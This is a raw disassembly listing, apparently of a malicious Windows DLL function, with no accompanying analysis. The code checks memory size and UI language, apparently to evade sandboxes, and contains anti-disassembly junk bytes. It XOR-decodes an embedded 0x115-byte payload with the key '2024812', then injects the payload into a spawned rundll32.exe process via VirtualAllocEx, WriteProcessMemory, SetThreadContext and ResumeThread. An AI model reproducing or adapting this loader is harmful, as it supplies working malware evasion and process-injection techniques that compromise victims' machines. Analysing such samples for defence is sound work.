mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 4]
jg 0x180010415
cmp qword [rbp + 0x4c0], 8
jb 0x18000f803
mov r14, qword [rbp + 0x4a8]
lea rdx, [rbp + 0x510]
mov rcx, r14
mov r8d, 3
mov r9d, 0xffffffff
call fcn.1800207a0
mov esi, 1
cmp eax, 0x34
jg 0x18000f86c
lea ecx, [rax - 2]
cmp ecx, 2
jb 0x18000f88c
test eax, eax
jne 0x18000f876
mov eax, dword [rbp + 0x520]
test eax, 0x400
je 0x18000f87e
mov ecx, dword [rbp + 0x524]
cmp ecx, 0xa000000c
je 0x1800102f4
cmp ecx, 0xa0000003
jne 0x18000f87e
mov esi, 0xa
jmp 0x18000f88c
mov ebx, 5
jmp 0x18000f8ef
cmp eax, 0x35
je 0x18000f88c
cmp eax, 0x7b
je 0x18000f88c
xor esi, esi
jmp 0x18000f88c
mov ebx, eax
jmp 0x18000f8ef
and eax, 0x10
cmp eax, 1
mov esi, 3
sbb esi, 0
mov eax, dword [0x1800652f0]
mov ecx, dword [0x180062e98]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 4]
jg 0x18001044b
test esi, esi
je 0x18000f8ea
mov eax, dword [0x1800652f0]
mov ecx, dword [0x180062e98]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 4]
jg 0x180010481
xor ebx, ebx
cmp esi, 1
setne bl
shl ebx, 4
or ebx, 2
jmp 0x18000f8ef
mov ebx, 2
mov rax, qword [rbp + 0x4c0]
cmp rax, 8
jb 0x18000f93b
mov rcx, qword [rbp + 0x4a8]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x18000f936
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1800103af
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.180020d10
test ebx, ebx
je 0x180010243
cmp ebx, 0x12
jne 0x18000f95d
mov byte [rbp + 0x248], 0
mov dword [rbp + 0x24c], 0
xor ebx, ebx
jmp 0x18000f96a
mov byte [rbp + 0x248], 0
mov dword [rbp + 0x24c], ebx
xor r15d, r15d
xor esi, esi
mov rcx, qword [rbp - 0x10]
call fcn.180020780
mov rax, qword [rbp - 0x18]
cmp rax, 8
jb 0x18000f9be
mov rcx, qword [rbp - 0x30]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x18000f9b9
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1800103af
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.180020d10
test ebx, ebx
jne 0x1800103cd
mov rax, qword [rbp + 0x618]
cmp rax, 8
jb 0x18000fa12
mov rcx, qword [rbp + 0x600]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x18000fa0d
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1800103af
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.180020d10
test rsi, rsi
je 0x18000fb87
lock inc dword [rsi + 8]
lock inc dword [rsi + 8]
lock dec dword [rsi + 8]
mov rbx, rsi
jne 0x18000fa49
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax]
lock dec dword [rsi + 0xc]
mov rbx, rsi
jne 0x18000fa49
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 8]
mov rbx, rsi
test r15, r15
je 0x18000fb92
mov qword [rbp + 0x628], rbx
mov qword [rbp + 0x630], rsi
xor edi, edi
lea r14, [rbp - 0x30]
lea rbx, [r15 + 0x20]
jmp 0x18000fa7b
mov rcx, r15
mov rdx, r14
call fcn.180012650
mov eax, dword [r15 + 0x1c]
mov ecx, eax
not ecx
test cl, 3
jne 0x18000fab0
mov eax, dword [r15 + 0x10]
test eax, 0x400
je 0x18000fb00
mov ecx, dword [r15 + 0x14]
cmp ecx, 0xa0000003
je 0x18000fb20
cmp ecx, 0xa000000c
je 0x18000fb20
jmp 0x18000fb00
and eax, 2
cmp eax, 1
mov r9d, 0
sbb r9d, r9d
cmp qword [r15 + 0x38], 8
mov rcx, rbx
jb 0x18000facd
mov rcx, qword [r15 + 0x20]
or r9d, dword [r15 + 0x10]
mov rdx, r14
mov r8d, 3
call fcn.1800207a0
cmp eax, 0x34
jg 0x18000fb08
lea ecx, [rax - 2]
cmp ecx, 2
jb 0x18000fb20
test eax, eax
jne 0x1800103ff
mov eax, dword [rbp - 0x20]
test eax, 0x400
jne 0x18000fb58
nop
test al, 0x10
je 0x18000fb20
inc edi
jmp 0x18000fb20
cmp eax, 0x35
je 0x18000fb20
cmp eax, 0x7b
jne 0x1800103ff
nop word cs:[rax + rax]
mov rcx, qword [r15 + 0x40]
mov rdx, r14
call fcn.180020ad0
test eax, eax
jne 0x18000fb69
cmp word [rbp - 4], 0x2e
jne 0x18000fa70
movzx eax, word [rbp - 2]
test eax, eax
je 0x18000fb20
cmp eax, 0x2e
jne 0x18000fa70
cmp word [rbp], 0
je 0x18000fb20
jmp 0x18000fa70
mov ecx, dword [rbp - 0x1c]
cmp ecx, 0xa0000003
jne 0x18000faa3
jmp 0x18000fb20
cmp eax, 0x12
jne 0x1800103a8
mov rbx, qword [rbp + 0x628]
test rbx, rbx
mov rsi, qword [rbp + 0x630]
jne 0x18000fb99
jmp 0x18000fbb6
xor ebx, ebx
test r15, r15
jne 0x18000fa52
xor edi, edi
test rbx, rbx
je 0x18000fbb6
lock dec dword [rbx + 8]
jne 0x18000fbb6
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock dec dword [rbx + 0xc]
jne 0x18000fbb6
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
test rsi, rsi
je 0x18000fbd8
lock dec dword [rsi + 8]
jne 0x18000fbd8
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax]
lock dec dword [rsi + 0xc]
jne 0x18000fbd8
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 8]
lea rcx, str.:
call fcn.180005810
mov ecx, edi
call fcn.180006b50
call fcn.18000a400
cmp edi, 0xc
jne 0x18000fc09
pop rax
push rbx
je 0x18000fbfb
je 0x18000fc00
and dword [rcx + rsi], esi
xor dh, byte [rbx]
pop rbx
and dword [rcx + rsi], esi
xor dh, byte [rbx]
push rax
jmp 0x18000fc15
lea rcx, str.no_tq
call fcn.180010cc0
mov dword [rbp + 0x4a8], 0x40
lea rcx, [rbp + 0x4a8]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rbp + 0x4b0]
shr rax, 0x14
cmp eax, 0xc17
ja 0x18000fc50
pop rax
push rbx
je 0x18000fc44
je 0x18000fc49
and dword [rcx + rsi], esi
xor dh, byte [rbx]
pop rbx
and dword [rcx + rsi], esi
xor dh, byte [rbx]
push rax
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
and eax, 0x3ff
cmp ax, 4
je 0x18000fc84
lea rcx, [0x180053a44]
call fcn.180005810
call fcn.18000a400
pop rax
push rbx
je 0x18000fc78
je 0x18000fc7d
and dword [rcx + rsi], esi
xor dh, byte [rbx]
pop rbx
and dword [rcx + rsi], esi
xor dh, byte [rbx]
push rax
lea rcx, [0x180054cd7]
call fcn.180010cc0
mov ecx, 0x115
call fcn.18002cb2c
mov rsi, rax
xor eax, eax
lea rcx, [0x180050730]
nop word cs:[rax + rax]
movzx edx, byte [rcx + rax*8]
movzx r8d, byte [rcx + rax*8 + 2]
mov byte [rsi + rax*4], dl
mov byte [rsi + rax*4 + 1], r8b
movzx edx, byte [rcx + rax*8 + 4]
mov byte [rsi + rax*4 + 2], dl
movzx edx, byte [rcx + rax*8 + 6]
mov byte [rsi + rax*4 + 3], dl
inc rax
cmp rax, 0x45
jne 0x18000fcb0
mov byte [rsi + rax*4], 0
mov eax, 7
mov r8d, 6
mov r9d, 5
mov r11d, 4
mov edi, 3
mov ebx, 2
mov r13d, 1
xor r15d, r15d
nop dword [rax + rax]
mov qword [rbp + 0x580], rbx
mov qword [rbp + 0x4e8], r11
mov qword [rbp + 0x578], r9
mov qword [rbp + 0x628], r8
mov qword [rbp + 0x630], rax
mov rax, qword [rbp + 0x630]
movabs rcx, 0x2492492492492493
mul rcx
mov r10, rcx
mov rcx, qword [rbp + 0x630]
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 2
lea rax, [rcx*8]
sub rcx, rax
mov rax, r8
mul r10
mov r8, qword [rbp + 0x628]
sub r8, rdx
shr r8, 1
add r8, rdx
shr r8, 2
lea rax, [r8*8]
sub r8, rax
mov rax, r9
mul r10
mov r14, r10
mov r9, qword [rbp + 0x578]
sub r9, rdx
shr r9, 1
add r9, rdx
shr r9, 2
lea r10, [r9*8]
mov rax, r11
mul r14
sub r9, r10
mov r10, r11
sub r10, rdx
shr r10, 1
add r10, rdx
shr r10, 2
lea rax, [r10*8]
sub r10, rax
mov rax, rdi
mul r14
mov r11, rdi
sub r11, rdx
shr r11, 1
add r11, rdx
shr r11, 2
lea rax, [r11*8]
sub r11, rax
mov rax, rbx
mul r14
mov rbx, qword [rbp + 0x580]
sub rbx, rdx
shr rbx, 1
add rbx, rdx
shr rbx, 2
lea rax, [rbx*8]
sub rbx, rax
mov rax, r13
mul r14
mov r14, r13
sub r14, rdx
shr r14, 1
add r14, rdx
shr r14, 2
mov r12, rdi
mov rdi, rsi
lea rsi, [r14*8]
mov rax, r15
movabs rdx, 0x2492492492492493
mul rdx
sub r14, rsi
mov rsi, rdi
mov rdi, r12
mov rax, r15
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 2
lea rdx, [rax*8]
sub rax, rdx
lea r12, str.2024812
add r9, r12
add r10, r12
movzx edx, byte [r15 + r10 + 4]
movzx r9d, byte [r15 + r9 + 5]
shl r9d, 8
or r9d, edx
add r14, r12
add rax, r12
movzx eax, byte [r15 + rax]
movzx edx, byte [r15 + r14 + 1]
shl edx, 8
or edx, eax
add rbx, r12
movzx eax, byte [r15 + rbx + 2]
mov rbx, qword [rbp + 0x580]
shl eax, 0x10
or eax, edx
add r11, r12
movzx edx, byte [r15 + r11 + 3]
mov r11, qword [rbp + 0x4e8]
shl edx, 0x18
or edx, eax
movd xmm0, edx
pinsrw xmm0, r9d, 2
mov r9, qword [rbp + 0x578]
add rcx, r12
add r8, r12
movzx eax, byte [r15 + r8 + 6]
mov r8, qword [rbp + 0x628]
movzx ecx, byte [r15 + rcx + 7]
shl ecx, 8
or ecx, eax
mov rax, qword [rbp + 0x630]
pinsrw xmm0, ecx, 3
movq xmm1, qword [rsi + r15]
pxor xmm0, xmm1
movq qword [rsi + r15], xmm0
add rax, 8
add r15, 8
add r8, 8
add r9, 8
add r11, 8
add rdi, 8
add rbx, 8
add r13, 8
cmp r15, 0x110
jne 0x18000fd10
xor dword [rsi + 0x110], 0x32303232
xor byte [rsi + 0x114], 0x34
push rbx
xor ebx, ebx
test ebx, ebx
jne 0x18000ff67
je 0x18000ff68
and dword [rbx + 0x48], ebx
lea ecx, [0x180054d03]
pop rbx
lea rcx, [0x180054d03]
call fcn.180010cc0
mov edx, 0x115
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8d, 0x115
mov rcx, rax
mov rdx, rsi
call fcn.180018550
pxor xmm0, xmm0
movdqa xmmword [rbp + 0x510], xmm0
movdqa xmmword [rbp + 0x520], xmm0
movdqa xmmword [rbp + 0x530], xmm0
movdqa xmmword [rbp + 0x540], xmm0
movdqa xmmword [rbp + 0x550], xmm0
movdqa xmmword [rbp + 0x560], xmm0
mov qword [rbp + 0x570], 0
mov dword [rbp + 0x510], 0x44
lea rax, [rbp + 0x600]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x510]
mov qword [rsp + 0x40], rax
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 0x44
mov dword [rsp + 0x20], 0
lea rdx, str.rundll32.exe
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1800100d6
mov dword [rbp], 0x10003
mov rcx, qword [rbp + 0x608]
lea rsi, [rbp - 0x30]
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rbp + 0x600]
mov dword [rsp + 0x20], 0x40
mov r8d, 0x115
xor edx, edx
mov r9d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov rcx, qword [rbp + 0x600]
mov qword [rsp + 0x20], 0
mov r9d, 0x115
mov rdx, rax
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rbp + 0xc8], rdi
mov rcx, qword [rbp + 0x608]
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rbp + 0x608]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rbp + 0x608]
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rsi
mov rcx, qword [rbp + 0x600]
call rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rax, qword [rbp + 0x508]
cmp rax, 0x10
jb 0x18001012c
mov rcx, qword [rbp + 0x4f0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180010127
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1800103af
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180020d10
mov rax, qword [rbp + 0x5e8]
cmp rax, 0x10
jb 0x180010171
mov rcx, qword [rbp + 0x5d0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x18001016c
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1800103af
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180020d10
mov rax, qword [rbp + 0x588]
test rax, rax
je 0x1800101ae
lock dec dword [rax + 0x2c]
jne 0x1800101ae
mov rcx, qword [rbp + 0x588]
test rcx, rcx
je 0x1800101ae
nop
mov rax, qword [rcx]
mov rsi, qword [rcx + 0x10]
mov qword [rcx + 0x10], 0
mov edx, 1
call qword [rax]
mov rcx, rsi
test rsi, rsi
jne 0x180010190
mov qword [rbp + 0x588], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x1800101de
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x1800101de
mov r8, qword [rax]
mov rcx, rax
mov edx, 1
call qword [r8]
mov rax, qword [rbp + 0x5c8]
cmp rax, 0x10
jb 0x180010223
mov rcx, qword [rbp + 0x5b0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x18001021e
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1800103af
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180020d10
mov eax, 1
movaps xmm6, xmmword [rbp + 0x640]
add rsp, 0x6d8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov byte [rbp + 0x248], 1
mov dword [rbp + 0x24c], 0
mov ecx, 0x58
call fcn.180020ccc
movabs rcx, 0x100000001
mov qword [rax + 8], rcx
lea rcx, vtable.std::_Ref_count_obj2_struct_std::filesystem::_Dir_enum_impl_.0
mov qword [rax], rcx
mov rcx, rax
add rcx, 0x10
pxor xmm0, xmm0
movdqu xmmword [rax + 0x10], xmm0
movdqu xmmword [rax + 0x20], xmm0
mov rdx, qword [rbp - 0x10]
mov qword [rbp - 0x10], 0xffffffffffffffff
mov qword [rax + 0x50], rdx
movdqu xmm0, xmmword [rbp - 0x30]
movdqu xmm1, xmmword [rbp - 0x20]
movdqu xmmword [rax + 0x40], xmm1
mov qword [rbp + 0x630], rax
movdqu xmmword [rax + 0x30], xmm0
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 7
mov word [rbp - 0x30], 0
mov qword [rbp + 0x628], rcx
mov rdx, rdi
call fcn.180012650
mov ebx, dword [rbp + 0x24c]
mov rsi, qword [rbp + 0x630]
mov r15, qword [rbp + 0x628]
jmp 0x18000f96f
mov esi, 4
jmp 0x18000f88c
mov rcx, rax
cmp rsi, 0x16e3600
jne 0x180010362
movabs r9, 0xb2f4fc0794908cf3
imul r9
mov r8, rdx
add r8, rcx
mov rax, r8
shr rax, 0x3f
sar r8, 0x18
add r8, rax
imul rax, r8, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, rcx
imul r9
imul rax, r8, 0x3b9aca00
add rdx, rcx
mov rcx, rdx
shr rcx, 0x3f
sar rdx, 0x18
add rdx, rcx
add rdx, rax
jmp 0x18000e6b8
or rcx, rsi
shr rcx, 0x20
je 0x180010372
cqo
idiv rsi
jmp 0x180010376
xor edx, edx
div esi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
mov rdx, rsi
or rdx, rax
shr rdx, 0x20
je 0x18001039a
cqo
idiv rsi
mov rdx, rax
jmp 0x1800103a0
xor edx, edx
div esi
mov edx, eax
add rdx, rcx
jmp 0x18000e6b8
mov ecx, eax
call fcn.1800132c0
call fcn.18002b028
call fcn.180006400
mov ecx, 0xe
call fcn.18001fb60
call fcn.180006400
call fcn.180006400
mov qword [rbp + 0x5f8], rsi
lea rcx, str.directory_iterator::directory_iterator
lea r8, [rbp + 0x600]
mov edx, ebx
call fcn.180012ab0
call fcn.180011b00
call fcn.180011b60
mov ecx, eax
call fcn.180011b60
call fcn.180006400
lea rcx, str.directory_entry::status
mov edx, eax
mov r8, rbx
call fcn.180012ab0
call fcn.180006400
lea rcx, [0x1800652f0]
call fcn.180020d4c
cmp dword [0x1800652f0], 0xffffffff
jne 0x18000f7f2
lea rcx, [method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_8]
call fcn.180020e30
lea rcx, [0x1800652f0]
call fcn.180020dc4
jmp 0x18000f7f2
lea rcx, [0x1800652f0]
call fcn.180020d4c
cmp dword [0x1800652f0], 0xffffffff
jne 0x18000f8b1
lea rcx, [method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_8]
call fcn.180020e30
lea rcx, [0x1800652f0]
call fcn.180020dc4
jmp 0x18000f8b1
lea rcx, [0x1800652f0]
call fcn.180020d4c
cmp dword [0x1800652f0], 0xffffffff
jne 0x18000f8da
lea rcx, [method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_8]
call fcn.180020e30
lea rcx, [0x1800652f0]
call fcn.180020dc4
jmp 0x18000f8da